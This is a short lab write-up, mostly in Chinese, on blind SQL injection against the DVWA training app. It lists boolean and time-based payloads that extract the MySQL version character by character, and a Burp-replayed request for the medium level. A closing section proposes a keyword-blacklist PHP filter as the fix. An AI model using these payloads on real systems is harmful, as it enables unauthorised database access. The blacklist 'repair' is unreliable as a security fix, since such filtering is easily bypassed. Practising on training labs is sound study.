[dvwa] sql injection(Blind)

blind

0x01 low

1’ and length(version()) = 6 #

syntax: substr(string , from<start from 1>, cut length)

1’ and substr(version(),1,1) = ‘5’ #
1’ and substr(version(),2,1) = ‘.’ #
1’ and substr(version(),3,1) = ‘7’ #
1’ and substr(version(),4,1) = ‘.’ #
1’ and substr(version(),5,1) = ‘2’ #
1’ and substr(version(),6,1) = ‘6’ #

版本为5.7.26

syntax: if(judge, true for, false for)

1’ and if(length(version())=6,sleep(3),1) #
版本号6位

虽然显示数据库中找不到，但是明显观察到页面停顿了大约3秒

1’ and if(substr(version(),1,1)=‘5’,sleep(3),1) #
1’ and if(substr(version(),2,1)=‘.’,sleep(3),1) #
1’ and if(substr(version(),3,1)=‘7’,sleep(3),1) #
1’ and if(substr(version(),4,1)=‘.’,sleep(3),1) #
1’ and if(substr(version(),5,1)=‘2’,sleep(3),1) #
1’ and if(substr(version(),6,1)=‘6’,sleep(3),1) #

0x02 medium

在burp中重放发包

id=1 and length(version())=6&Submit=Submit

id=1 and ascii(substr(version(),1,1))=53#&Submit=Submit

0x03 high

与low相似，代码中增加了limit 1和isset($_COOKIE[‘id’])
查询参数通过cookie中传递
通过post请求体接收查询参数，把查询参数写道cookie，显示页面读cookie值回显
实现抗重放

0x04 Repair 修复漏洞

过滤，简单来说，过滤单引号，括号，空格，and，or，select，将有奇效
一般盲注用脚本爆，限制ip的频繁连接也是有用的

或者在回显处动手脚，随机给个错误回显，属于是调皮捣蛋了

<?php$id = 1;$suspects = array(" ","'","(",")","and","or","select");
$allnull = array();
for ($i = 0;$i<count($suspects);$i += 1){array_push($allnull,'Hacker');
}
$count = 0;$id = str_replace($suspects,$allnull,$id,$count);if($count>0){die("blind injection, blind response");
}